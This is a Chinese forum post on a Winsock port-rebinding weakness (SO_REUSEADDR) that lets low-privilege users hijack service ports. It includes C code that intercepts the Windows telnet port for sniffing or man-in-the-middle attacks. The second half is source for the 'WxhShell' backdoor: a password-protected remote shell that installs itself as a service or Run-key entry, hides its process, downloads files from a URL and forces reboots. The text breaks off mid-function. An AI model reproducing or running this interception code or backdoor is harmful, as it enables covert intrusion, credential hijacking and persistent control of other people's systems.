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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i-'rS/R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mRT`'fxK  
b NBpt}$  
  saddr.sin_family = AF_INET; %z&=A%'a  
>900O4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )/u?_)b4"  
Jp<Y2-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *OT6)]|k  
> !thxG/_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .FS`Fh;  
6^pddGIG  
  这意味着什么?意味着可以进行如下的攻击: W[]N.d7G  
}>\+eG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R!i9N'gGG(  
<j93   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hVe@:1og#  
821@qr|`e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x(nWyVB  
G!J{$0.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?3wEO>u  
@3/.W+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z}vgp\cuT  
X0Q};,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :?VM1!~ga  
@tvAI2W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v*+.;60_  
)6# i>c-  
  #include $okGqu8z.O  
  #include !xm87I  
  #include >z*2Og#1  
  #include    o7N3:)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }VlX!/42  
  int main() /=9t$u|  
  { `Z*k M VN  
  WORD wVersionRequested; E"D+CD0  
  DWORD ret; ^PY*INv  
  WSADATA wsaData; P>/n!1c  
  BOOL val; P%hi*0pwZ  
  SOCKADDR_IN saddr; d^"<Tz!  
  SOCKADDR_IN scaddr; }v[*V   
  int err; "oX@Z^  
  SOCKET s; lLy^@s  
  SOCKET sc; c0v;r4Jo#j  
  int caddsize; +5Yf9  
  HANDLE mt; =k#SQ/@  
  DWORD tid;   u 9Wi@sO#  
  wVersionRequested = MAKEWORD( 2, 2 ); JTw\5j  
  err = WSAStartup( wVersionRequested, &wsaData ); xWX1P%`  
  if ( err != 0 ) { IKhpe5}  
  printf("error!WSAStartup failed!\n"); 7@R;lOzL3  
  return -1; .80^c  
  } ;0Yeo"-  
  saddr.sin_family = AF_INET; *Z*4L|zT  
   *Z"9QX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ", b}-B  
Fj<#*2{]B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rWKc,A[  
  saddr.sin_port = htons(23); #wH<W5gSZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PYDf|S7  
  { V QE *B  
  printf("error!socket failed!\n"); -=aI!7*"$  
  return -1; t0XM#9L  
  } \(Uw.ri  
  val = TRUE; "71@WLlN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D&q-L[tA@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #gbJ$1s  
  { %\8E{M:  
  printf("error!setsockopt failed!\n"); r'7>J:cy=  
  return -1; )En*5-1  
  } ^ sxcBG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hO3>Gl5<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HE0UcP1U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NLHF3h=?1p  
.b*%c?e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n gA&PU  
  { sqw^Hwy=!2  
  ret=GetLastError(); :4]^PB@dl  
  printf("error!bind failed!\n"); "*O(3L.c-  
  return -1; ?5d7J,"<h  
  } .du FMJl  
  listen(s,2); >gqM|-uY  
  while(1) CO!K[ q#  
  { $Il?[4FF  
  caddsize = sizeof(scaddr); 0U'g2F>{  
  //接受连接请求 /*DC`,q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QEIu}e6b  
  if(sc!=INVALID_SOCKET) ||TKo967]  
  { FZTBvdUYp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dLQV>oF  
  if(mt==NULL) _Wn5* Pi%Z  
  { -}nTwx:|5u  
  printf("Thread Creat Failed!\n"); ydFZ$W_}w  
  break; C.M]~"e  
  } Gz)]1Z{%$  
  } CCp&P5[67  
  CloseHandle(mt); h^#K4/  
  } |7XV! D!\g  
  closesocket(s); V_*TY6  
  WSACleanup(); S EdNH.|I  
  return 0; `[vm{+i  
  }   _:|/4.]`_  
  DWORD WINAPI ClientThread(LPVOID lpParam) o)<c1\q  
  { NWCJ|  
  SOCKET ss = (SOCKET)lpParam; wIT0A-Por4  
  SOCKET sc; Ba-Ftkb  
  unsigned char buf[4096]; .s7Cr0^k,|  
  SOCKADDR_IN saddr; noz&4"S.{  
  long num; Y'6GY*dL  
  DWORD val; 8':^tMd  
  DWORD ret; ,1+AfI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I6}ine ps  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z3Le?cMt^  
  saddr.sin_family = AF_INET; gKK*` L~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (vHB`@x  
  saddr.sin_port = htons(23); }$-;P=k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {%!.aQ,  
  { J{Fu8  
  printf("error!socket failed!\n"); kqJ \kd  
  return -1; P)h e3  
  } 1muB* O  
  val = 100;  h"<-^=b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cf#[E~24  
  { 6{/HNEI*1  
  ret = GetLastError(); rap`[O|l=  
  return -1; 5x";}Vp>P  
  }  #P8R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y#-mj,e  
  {  f,utA3[  
  ret = GetLastError(); VFLxxFJ  
  return -1; RGrra<  
  } l_ /q/8-l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MpZ #  
  { ]=T`8)_r)  
  printf("error!socket connect failed!\n"); We]mm3M3  
  closesocket(sc); 8P8@i+[]W  
  closesocket(ss); w-9FF%@<  
  return -1; =<nx [J  
  } ~4HS 2\  
  while(1) v`i9LD0(  
  { |7G +O+j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .6I*=qv)NA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cfn\De%.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^ ,`;x  
  num = recv(ss,buf,4096,0); x| jBn}  
  if(num>0) /ekeU+j  
  send(sc,buf,num,0); Un{hI`3]  
  else if(num==0) 4RgEN!d?H  
  break; $ f`\TKlN  
  num = recv(sc,buf,4096,0); xE+Nz5F  
  if(num>0) n_}=G RR  
  send(ss,buf,num,0); vMBF7Jfx  
  else if(num==0) kaBP& 6|Z  
  break; $GI2rzh  
  } +k=BD s  
  closesocket(ss); h*J=F0KM  
  closesocket(sc); @I{v  
  return 0 ; 5$C4Ui{<E'  
  } |TCHPKN  
*` }Rt  
N5$IVz}  
========================================================== q'u^v PO  
0<3)K[m~H  
下边附上一个代码,,WXhSHELL 7s#,.(s  
EjZ_|Q  
========================================================== :Osw4u]JXd  
PGTi-o}  
#include "stdafx.h" eJWcrVpn  
w9QY2v,U  
#include <stdio.h> i"eUacBz/-  
#include <string.h> 9b KK  
#include <windows.h> [ 0? *J<d  
#include <winsock2.h> F' eV%g  
#include <winsvc.h> E3IB> f  
#include <urlmon.h> =pQ'wx|>|  
!L..I2'  
#pragma comment (lib, "Ws2_32.lib") +6cOL48"  
#pragma comment (lib, "urlmon.lib") )n8(U%q$  
 U/v }4b  
#define MAX_USER   100 // 最大客户端连接数 TFrZ+CcWp2  
#define BUF_SOCK   200 // sock buffer Qrr8i:Y^  
#define KEY_BUFF   255 // 输入 buffer 1A>>#M=A  
E1p?v!   
#define REBOOT     0   // 重启 \UKr|[P  
#define SHUTDOWN   1   // 关机 -oSfp23u  
Qx$C oY  
#define DEF_PORT   5000 // 监听端口 R $vo  
TL%2?'G  
#define REG_LEN     16   // 注册表键长度 AF-4b*oB  
#define SVC_LEN     80   // NT服务名长度 {*EA5;  
:a YbP,mE  
// 从dll定义API ,MH9e!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @.JhL[f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ``l7|b jJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .<GU2&;!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v;!f  
:nk$?5ib  
// wxhshell配置信息 xj/Iq<'R*O  
struct WSCFG { !'E{D`A9  
  int ws_port;         // 监听端口 r!DUsE  
  char ws_passstr[REG_LEN]; // 口令 {5<3./5O  
  int ws_autoins;       // 安装标记, 1=yes 0=no Knd2s~S  
  char ws_regname[REG_LEN]; // 注册表键名 K,pQ11J  
  char ws_svcname[REG_LEN]; // 服务名 -Xm/sq(i)%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5u(B]_r.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lRIS&9vA3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IF"-{@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :%&~/@B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *|Cmm>z"7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -b?yzg, 8  
+YS0yTWeX  
}; ryk(Am<  
9eA2v{!S  
// default Wxhshell configuration 2m$\]\kCUv  
struct WSCFG wscfg={DEF_PORT, kZ8+ev=  
    "xuhuanlingzhe", #x) lN  
    1, =D1%-ym  
    "Wxhshell", >P@JiR<@\n  
    "Wxhshell", !G`7T  
            "WxhShell Service", )FF3|dZ";K  
    "Wrsky Windows CmdShell Service", }p2YRTHx  
    "Please Input Your Password: ", U9uy (KOW  
  1, !KYX\HRW  
  "http://www.wrsky.com/wxhshell.exe", Fo$kD(  
  "Wxhshell.exe"  >^<%9{  
    }; 0vu$dxb[  
3%"r%:fQB/  
// 消息定义模块 }]i re2j8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WfnBWSA2 T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dnZA+Pa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; //[zUn  
char *msg_ws_ext="\n\rExit."; ,qo"i7c{:  
char *msg_ws_end="\n\rQuit."; X>0$zE@0  
char *msg_ws_boot="\n\rReboot..."; ?3X(`:KB  
char *msg_ws_poff="\n\rShutdown..."; !|SVRaS  
char *msg_ws_down="\n\rSave to "; o.)8  A8  
-!p +^wC  
char *msg_ws_err="\n\rErr!"; ,};UD  W  
char *msg_ws_ok="\n\rOK!"; IWRo$Yu  
5)IJ|"]y  
char ExeFile[MAX_PATH]; $i:wS= w'  
int nUser = 0; b.Yl0Y  
HANDLE handles[MAX_USER]; Kbdjd p  
int OsIsNt; tC4:cX  
BqF%2{  
SERVICE_STATUS       serviceStatus; '+@q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v2vPf b  
zvzS$Gpe  
// 函数声明 -AJ$-y  
int Install(void); _8-iO.T+2  
int Uninstall(void); S 54N  
int DownloadFile(char *sURL, SOCKET wsh); I U Mt^z  
int Boot(int flag); (JgW")M`cY  
void HideProc(void); qHAZ)Tz  
int GetOsVer(void); s>pOfXIx  
int Wxhshell(SOCKET wsl);  .<0s?Q  
void TalkWithClient(void *cs); , W w\C  
int CmdShell(SOCKET sock); f3g#(1  
int StartFromService(void); {iz,iv/U  
int StartWxhshell(LPSTR lpCmdLine); ~+JE l%  
fmDn1N-bG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ezvm5~<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?PMF]ah  
zK*zT$<l  
// 数据结构和表定义 0n'~wz"wB  
SERVICE_TABLE_ENTRY DispatchTable[] = b1("(,r/`  
{ }I1A4=d  
{wscfg.ws_svcname, NTServiceMain}, t *8k3"  
{NULL, NULL} Qh 3V[br  
}; YY&3M  
st b)Tl^  
// 自我安装 qtqTLl@u  
int Install(void) 1l8kuwH  
{ ,>:   
  char svExeFile[MAX_PATH]; 9JG9;[  
  HKEY key; Oq7R^t`b  
  strcpy(svExeFile,ExeFile); n@hf{hA[a  
jK!Y-  
// 如果是win9x系统,修改注册表设为自启动 VcLB0T7m\  
if(!OsIsNt) { ^KBE2C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UL46%MFQ\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qWQ7:*DL  
  RegCloseKey(key); R5y+bMZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Up(Jw-.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z5oX "Yx  
  RegCloseKey(key); 4f}:)M$5  
  return 0; S$=e %c  
    } &TpzJcd"  
  } (>E}{{>2r  
} eH*u,/  
else { .g|D  
?=UIx24W  
// 如果是NT以上系统,安装为系统服务 v Ft]n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #ny&bJj  
if (schSCManager!=0) 6{XdLI  
{ 6X@]<R  
  SC_HANDLE schService = CreateService BFCF+hU^6R  
  ( w&M)ws;$  
  schSCManager, 'G.^g}N1  
  wscfg.ws_svcname, ][ ,NNXrc&  
  wscfg.ws_svcdisp, Bn[5M [  
  SERVICE_ALL_ACCESS, {29x5J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :6,qp?/  
  SERVICE_AUTO_START, 208dr*6U  
  SERVICE_ERROR_NORMAL, :%#(<@{  
  svExeFile, D^ E+#a 1  
  NULL, ,O9rL :?  
  NULL, Jkc1ih`^  
  NULL, -nC 5  
  NULL, 64#6L.Q-c  
  NULL o9tvf|+z  
  ); aS7[s6  
  if (schService!=0) m[@7!.0=  
  { qJ;T$W=NG  
  CloseServiceHandle(schService); /K#t$O4  
  CloseServiceHandle(schSCManager); \2rCT~x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :&]THUw  
  strcat(svExeFile,wscfg.ws_svcname); WsA(8Ck<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .ZK|%VGW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9$9Pv%F:j  
  RegCloseKey(key); =Yxu {]G  
  return 0; OV l,o  
    } ozs xqN  
  } ;K'1dsA  
  CloseServiceHandle(schSCManager); =4;GIiF@  
} lC/4CPKtV  
} nUZ+N)*  
.K`^n\T t  
return 1; ^,Sl^ 9K  
} =xs{Ov=  
{y{& tz Z  
// 自我卸载 I|6wPV?  
int Uninstall(void) PV2cZ/  
{ `_IgH  
  HKEY key; Ha~g8R&  
\#bk$R@  
if(!OsIsNt) { &ZjQa.-U>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i;1EXM  
  RegDeleteValue(key,wscfg.ws_regname); P|"U  
  RegCloseKey(key); T~nmEap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P=)&]Pz  
  RegDeleteValue(key,wscfg.ws_regname); G/F0 )M  
  RegCloseKey(key); |eEcEu?/b  
  return 0; =H'7g 6  
  } _084GK9{W  
} *k$":A  
} \O"EK~x}/  
else { ?i.]|#{Z  
y<|vcg8x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Ey*ci^ue  
if (schSCManager!=0) t3TnqA  
{ oG! S(95  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u S$:J:Drx  
  if (schService!=0) K-$gTV  
  { LB<,(dyh  
  if(DeleteService(schService)!=0) { g-c\ ;  
  CloseServiceHandle(schService); )V!dmVQq{g  
  CloseServiceHandle(schSCManager); ( }DCy23  
  return 0; bg\~"  
  } :les 3T}2  
  CloseServiceHandle(schService); Fe(qf>E  
  } O87Ptr8  
  CloseServiceHandle(schSCManager); 7o$4ov;T  
} `>@n6>f  
} \R >!HY  
!]tZE%?  
return 1; tUXq!r<'dT  
} ^O cM)Z6h  
8$fiq}a  
// 从指定url下载文件 kRBPl9 9  
int DownloadFile(char *sURL, SOCKET wsh) Nl_Sgyx,\  
{ . bh>_ W_h  
  HRESULT hr; &H!#jh\w  
char seps[]= "/"; W s!N%%g  
char *token; hJ0)"OA5  
char *file; kcd~`+C  
char myURL[MAX_PATH]; Re <G#*^  
char myFILE[MAX_PATH]; zWxKp;.  
Ju$vuEO  
strcpy(myURL,sURL); ;;E "+.  
  token=strtok(myURL,seps); kve{CO*  
  while(token!=NULL) @g*=xwve=~  
  { @0`Q  
    file=token; |BD]K0  
  token=strtok(NULL,seps); 7Zl- |  
  } CVsc#=w0  
Dm': D  
GetCurrentDirectory(MAX_PATH,myFILE); pIh%5Z U  
strcat(myFILE, "\\"); pU`4bT(w%  
strcat(myFILE, file); *N"bn'>3  
  send(wsh,myFILE,strlen(myFILE),0); RHo|&.B;+  
send(wsh,"...",3,0); &Y2mLPB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iVM{ L  
  if(hr==S_OK) #`6A}/@.+  
return 0; 9?)r0`:#  
else <tZPS`c'_  
return 1; kI974:e42  
!m"(SJn"  
} `vJ+ sRf  
s1XW}Dw  
// 系统电源模块 ]*+ozAG4  
int Boot(int flag) 9k_3=KS3N  
{ D/_=rAl1  
  HANDLE hToken; ``o:N`  
  TOKEN_PRIVILEGES tkp; 6Cut[*lj^  
6KmF 9  
  if(OsIsNt) { zV {[0s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4*9y4"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aTC7H]e  
    tkp.PrivilegeCount = 1; FJ3Xeo s4|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <,,U>0?3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K /h9x9^  
if(flag==REBOOT) { p8F5b8]*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vv,OBL~{  
  return 0; 5gWn{[[e)y  
} #;'1aT  
else { %p?u ^rq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~SkdP7 )  
  return 0; E)%]?/w  
} ;p%a!Im_ <  
  } XA{ tVh  
  else { xz YvD{>  
if(flag==REBOOT) { _Tyj4t0ElV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y3jb 'S4(  
  return 0; a3]'%kKp  
} vyT$IdV2  
else { ]* -9zo0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rxld$@~-(]  
  return 0; F(/^??<5  
} @= )_PG  
} 4f~hd-z  
LR D71*/  
return 1; & v=2u,]T  
} r7sPFM  
Kd CPt!  
// win9x进程隐藏模块 ymybj  
void HideProc(void) C^RO@kM  
{ mfLS< /A  
Y;S+2])R2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5nzk Zw  
  if ( hKernel != NULL ) 0o[p<<c*  
  { FLY#   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]c8lZO>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !<}<HR^ )  
    FreeLibrary(hKernel); @jg*L2L6  
  } %VsuG A  
zLue j'  
return; mY2 Ubn*  
} hRSRz5 J}  
`p9h$d  
// 获取操作系统版本 3]0ETcT  
int GetOsVer(void) oUR'gc :  
{ 6Km@A M]  
  OSVERSIONINFO winfo; <LQwH23@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  Aki8#  
  GetVersionEx(&winfo); !0ySS {/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z6SM7? d  
  return 1; Q$G!-y+"i  
  else | "DQ^)3Pi  
  return 0; U$6N-q  
} =dUeQ?>t=  
mYXe0E#6  
// 客户端句柄模块 s CSrwsbhv  
int Wxhshell(SOCKET wsl) jR\&2;T  
{ )(b]-  )  
  SOCKET wsh; AM*V4}s*9k  
  struct sockaddr_in client; ` :Am#"j]}  
  DWORD myID; %7pT\8E5  
~c,HE] B  
  while(nUser<MAX_USER) >V@-tT"^:  
{ 3,e^; {w  
  int nSize=sizeof(client); [GZ%K`wx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n  !]_o  
  if(wsh==INVALID_SOCKET) return 1; 2Q,e1' =  
Ki{&,:@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BftW<1,U^  
if(handles[nUser]==0) B. 6gJ2c  
  closesocket(wsh); i,M<}e1  
else Hq"i0X m  
  nUser++; *xA&t)z(i  
  } WE 'afxgV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !]7Z),s  
w_q{C>- cR  
  return 0; d%NO_=I.  
} q>X#Aaib  
m^@,0\F  
// 关闭 socket a,x-akZWf  
void CloseIt(SOCKET wsh) BV"7Wp;  
{ EyA}  
closesocket(wsh); b;`gxXeL  
nUser--;  v4=9T<[  
ExitThread(0); 2G<\Wz  
} x6\EU=,  
Y` Oz\W  
// 客户端请求句柄 SwpS6  
void TalkWithClient(void *cs) <Qu]m.z[  
{ F\F_">5  
v#{Sx>lO  
  SOCKET wsh=(SOCKET)cs; 0#0[E,  
  char pwd[SVC_LEN]; x hBlv  
  char cmd[KEY_BUFF]; b/HhGA0  
char chr[1]; d}j%. JJK  
int i,j; kL\ FY  
r) ;U zd  
  while (nUser < MAX_USER) { x;dyF_*;  
O{SP4|0JV  
if(wscfg.ws_passstr) { W0J d2*]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w4P?2-kB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SB0Cq  
  //ZeroMemory(pwd,KEY_BUFF); rg64f'+Eug  
      i=0; F=!p7msRB  
  while(i<SVC_LEN) { q@8Jc[\d  
WcqQR))n  
  // 设置超时 xCGa3X  
  fd_set FdRead; 0Am&:kX't  
  struct timeval TimeOut; 9z6-HZG'~<  
  FD_ZERO(&FdRead); 0F> ils  
  FD_SET(wsh,&FdRead); e=&,jg?K  
  TimeOut.tv_sec=8; $_IvzbOh  
  TimeOut.tv_usec=0; 8Yc'4v#}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &~)PB |  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rT7W_[&P  
R?Zv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6U~AKq"+f  
  pwd=chr[0]; o~<Xc  
  if(chr[0]==0xd || chr[0]==0xa) { Z> Jm  
  pwd=0; CAg~K[  
  break; RQxL`7H  
  } 2*;qr|h,  
  i++; UtPFkase  
    } >L[n4x\  
'/M9V{DD88  
  // 如果是非法用户,关闭 socket S"hA@j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VZuluV  
} 8*o*?1.  
4A0 ,N8ja}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0x BO5[w,Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %d?.v_Hu0  
EMy>X  
while(1) { DS;,@$N_N  
w]L^)_'Th  
  ZeroMemory(cmd,KEY_BUFF); 1OI/!!t1$  
R(p`H}^  
      // 自动支持客户端 telnet标准   D2}N6i  
  j=0; g{PEplk  
  while(j<KEY_BUFF) { D!7-(3R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +}3l$L'bY  
  cmd[j]=chr[0]; n vzk P{  
  if(chr[0]==0xa || chr[0]==0xd) { m8[XA!,  
  cmd[j]=0; rnAQwm-8O%  
  break; Iu" 7  
  } Cp"a,%b6u  
  j++; \dAs<${(  
    } $?P5A E  
,X`w/ 2O  
  // 下载文件 ^mwS6WH6  
  if(strstr(cmd,"http://")) { :/A7Z<u,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F/%M`?m"ie  
  if(DownloadFile(cmd,wsh)) j xc^OsYj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SG$V%z"e  
  else a gk w)#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c'|](vOd]  
  } h~EGRg  
  else { LX'z7fh  
`;j@v8n$*  
    switch(cmd[0]) { d#8 n<NM  
  njxfBA:  
  // 帮助 XoNBq9Iu  
  case '?': { vKO/hZBh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B,S~Idr}  
    break; X'uQr+p^  
  } X 0vcBHh  
  // 安装 6 2:FlW>  
  case 'i': { 3xIelTf*  
    if(Install()) /@w w"dmqU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q-hREO  
    else .Gt_~x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LvqWA}  
    break; xmNs%  
    } XCyU)[wY  
  // 卸载 b(_f{R7PY  
  case 'r': { *^oL$_Y  
    if(Uninstall()) @}\i`H1s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lrjVD(R=g  
    else OwCbv j0 #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AqiH1LAE  
    break; a[_IG-l|i4  
    } uf^HDr r<L  
  // 显示 wxhshell 所在路径 =&i#NSK  
  case 'p': { \483S]_-z{  
    char svExeFile[MAX_PATH]; 5OCt Q4u  
    strcpy(svExeFile,"\n\r"); YP Qix  
      strcat(svExeFile,ExeFile); D7r&z?  
        send(wsh,svExeFile,strlen(svExeFile),0); t"s$YB>}  
    break; >PzZt8e  
    } O9P+S|hcY  
  // 重启 Z;<:=#  
  case 'b': { GT7&>}FJ)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O dbXna  
    if(Boot(REBOOT)) [l/!&6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lb?WhjqZ  
    else { -UM|u_  
    closesocket(wsh); Q=6 1.lP6  
    ExitThread(0); 7YxVtN  
    } I7wR[&L885  
    break; u`ry CZo#g  
    } +%f6{&q$  
  // 关机 n2 can  
  case 'd': { >F>VlRg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :R`e<g~4  
    if(Boot(SHUTDOWN)) zO2=o5nF.  
